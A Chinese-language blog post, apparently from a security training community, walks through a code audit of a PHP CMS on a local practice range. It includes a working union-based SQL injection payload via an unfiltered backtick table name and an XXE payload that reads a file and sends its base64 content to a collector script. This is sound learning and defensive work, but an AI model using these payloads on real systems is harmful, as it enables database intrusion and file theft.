临近期末,很快就得去找实习了。然而最近没挖到什么漏洞,就想着学学代码审计,好让简历有点东西可以写。学了一段时间想练练手,就想到了进阶靶场刚好有很多cms可以用,于是决定审计进阶靶场的cms,并把审计的思路写下来。存在漏洞的地方和不存在漏洞的地方都有分析,所以篇幅比较长。后面我还会继续审计进阶靶场的cms,然后把审计思路写下来发到社区,分享一下学习代码审计的过程,希望表哥们多多指导。
代码审计的大致过程就是先打开AWVS扫一波,然后看看帮助文档,打开网站随便点点看url对应的文件目录(如果是MVC架构就要搞清楚路由方式);了解cms的传参过程和数据库操作过程;审计一些明显的交互点对应的代码(比如留言板,登录框);将Seay自动审计后的结果验证一下,虽然自动审计的误报率高,但是不容易漏,就是比较需要耐心;最后再验证下AWVS扫出的漏洞。
AWVS(或者其他扫描工具),phpstorm(安装xdebug插件),Seay源码审计系统,burpsuite,Navicat(方便查询数据库),帮助文档/手册(我没找到这个cms的帮助文档,所以就不管他了)
进入根目录下index.php后看到这里只是包含了其他文件,下面有个include("{$pe['path_root']}module/{$module}/{$mod}.php");
就比较让人注意了。
接下来下断点看看
包含的是根目录下的module/index/index.php
而这个页面也就是主页对应的php文件了,根目录下的php文件是作为接口文件
比如admin.php也是这样
所以访问某个页面时只要在include("{$pe['path_root']}module/{$module}/{$mod}.php");
处F7跟进包含的文件即可知道文件路径
瞎点了一通后发现前台没有什么可以传参的交互处,只有个用户注册和登录有传参,那么就用登录界面来测试传参过程
http://127.0.0.1:8008/user.php?mod=do&act=login&fromto=http%3A%2F%2F127.0.0.1%3A8008%2F
访问的是user.php
第一行包含了common.php
发现这个文件里有对传参进行处理,但也只是去空而已
接下来用户密码都输入111’<>,进行调试跟踪
跟进到module/user/do.php后,单引号还是没被过滤,所以就可以确定这个cms不会对传参进行过滤
接下来会执行pe_dbhold()函数对传入的用户名进行处理,该函数在include/function/global.func.php,跟踪进去后发现是对变量进行过滤
过滤完后就执行pe_select()函数进行数据库操作$db->pe_select('user', " and (user_name = '{$user_name}' or user_email = '{$user_name}' or user_phone = '{$user_name}') and user_pw = '{$user_pw}'")
然后跟进pe_select(),在include/class/db.class.php
可以看到这个文件定义的都是数据库操作的函数,继续跟进sql_select()
继续跟进query()
在这里就执行了sql语句
先看看靶场说的sql注入,在个人中心的账户充值处,提交后抓包,第二个包的url为127.0.0.1:8008/include/plugin/payment/alipay/pay.php?id=pay_200502140918273
接下里调试跟踪
$order_id的值为url中传入的id值,进行跟进order_table()
然后将拼接后的表名order_pay传入pe_select()进行查询,最后的sql语句如下
因为表名是用`来闭合而不是’,而`并没有被过滤,所以可以利用这里构造表名进行sql注入,在pay后加上`再加上注入语句和注释,最后加上 _ 满足order_table()执行explode()的条件。尝试报错注入后发现并不会显示报错信息,但是显错注入有显错点,构造payload为
`pay`+where+1=2+union+select+1,2,database(),4,5,6,7,8,9,10,11,12%23_
这里的sql注入有点鸡肋,没法查mysql自带表,因为自带表的_会被当做分隔符导致注入语句不完整,如下
所以只能爆破表名和字段名进行注入
在了解这个cms的过滤后,我本来以为是不会有sql注入的,但是没想竟然有这么一个地方会用order_table()函数使得表名可控,然后全局搜索了下发现也就只有几处查询函数会用到order_table()
所以以后再有这种情况的时候得留意一下sql语句中是否有用`闭合并且可控的地方
在个人中心有个修改密码的地方,看看这里能不能修改到其他用户的密码
数据包如下,看来是根据session来判断用户的
因为后台也只有个session…
在后台商品列表的添加商品处发现一个上传点,对应的文件路径为include/plugin/webuploader/upload.php
上传图片,改后缀为php,然后调试跟踪
进行跟踪upload(),在include/class/upload.class.php
这里会先在构造函数内将文件重命名
然后执行$this->_filecheck();
检测文件合法性,进行跟进这个函数
主要是对文件大小和类型进行检测,用$this->_filetail()
获取文件名后缀
然后进行白名单检测,白名单为$filetype = array('jpg','jpeg','gif','png','psd','wps','doc','xls','csv','ppt','pdf','zip','rar','tar','txt','text');
所以文件上传就不行了
看完一些明显的交互点后,就用Seay的自动审计,去验证自动审计的结果
自动审计的审计规则比较完整,但还是不完全,所以在审计过程中积累经验,就可以自己再加上审计规则,我自己目前就加了两条
审计结果有100多条,有时可能会几百上千条甚至更多,这里并不是要每一条都去验证,比如前面对传参和数据库操作的了解后就可以扫一眼看看sql注入的漏洞详情有没有`闭合的变量。像文件包含,命令执行,文件读取之类的就看看漏洞详情上危险函数中是否还有拼接一些其他不可控的东西,比如下面这条
还有就是同一个漏洞在同一个文件下可能会出现多次,并且都很相似,那么看完一个确定这个漏洞不存在后其他的就可以忽略了
比如这个任意文件读取,点进去第一条后发现这个漏洞并不存在,那么后面那几条相似的也就可以不用看了
翻到一个文件写入的地方,两个变量看起来也像是可控的
点进去后发现是这样的
嗯,看来是我想多了
继续翻,看到了文件删除的变量似乎也可控,点进其中一个unlink($dir_path)看看
是一个函数的定义,再看看哪里调用了pe_dirdel()
除了第五行其他传入的参数都是不可控的,那么进入第五行的文件看看
哦…原来是套娃
发现了xxe,
第一条1.php是我自己创建的测试文件,第二条被注释了,所以进入第三条的文件看看
跟作业靶场的代码一样
这里复习了下xxe,然后踩了个坑,一开始是按照作业靶场那样做的
payload为
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8008/1.xml">
%remote;
%send;
]>
(这里调用的外部实体还是在搭建这个cms的目录下)
1.xml
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1:8008/2.php?id=%file;'>"
>
%all;
2.php
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
但是结果并没有创建3.txt并且将目标文件的内容写到3.txt内,本来还以为是我哪里代码写错了,后来检查了几遍都没错。然后就排除下是哪里有问题,先是直接运行了一次2.php,发现就算没有给id传参也会创建一个空文件3.txt,而2.php是由1.xml调用的,也就是说1.xml并没有执行,所以payload中的外部实体并没有被执行。
后来百度了很久才知道libxml>2.9.0时默认不会解析外部实体,而我用的是php5.5.38,对应的libxml版本为2.9.4(在phpinfo内可以查看),当换成php5.4.45,即libxml版本为2.7.8时,上面那段payload就可以执行了。
还有一个问题,xml代码为simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
,第三个参数为‘LIBXML_NOCDATA’,当libxml>2.9.0时,如果这个参数设置为‘LIBXML_NOENT’,那么还是可以解析外部实体的,查了这两个参数的意思后还是不懂啥意思。
回到源码
接下来看看哪里调用了pe_getxml()
再看看哪里调用了wechat_getxml()
在这里还会调用order_callback_pay()函数对xml得到的参数进行数据库查询,可惜还是有做过滤,不然也可以利用xxe进行盲注了
接下来是SSRF,跟进文件
继续跟进pe_curl_post()
发现有两处调用了这个函数,都在同一个文件下
继续跟进这两个函数
结果url都是不可控的
在AWVS扫到了一个xss
下断点后跟踪
变量名为$_g_fromto,然后进行跟进看看哪里输出了这个变量
然后发现是在这输出,由于前面了解了对传参没有做过滤,而现在对输出也没有做过滤,所以存在了这个xss
这里自动审计并没有审计出这个xss,看了下审计规则,发现这个审计规则还是有点缺陷的
目前的审计思路大概就是这样,随着以后的学习可能还会变化。这代码审计学了差不多有一个月了,给我的感觉就是对漏洞的成因和防护有了更深的理解。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
admin | 100.00 | 0 | 2020-05-06 16:04:25 | 投稿奖励 |
打赏我,让我更有动力~
© 2016 - 2023 掌控者 All Rights Reserved.
lieren
发表于 2020-12-2
GOOD,老哥稳
评论列表
加载数据中...
常长老
发表于 2022-1-30
师傅可以分享下源码吗,现在找不到了,源码之家的代码链接无了,现在只有1.8版本的
评论列表
加载数据中...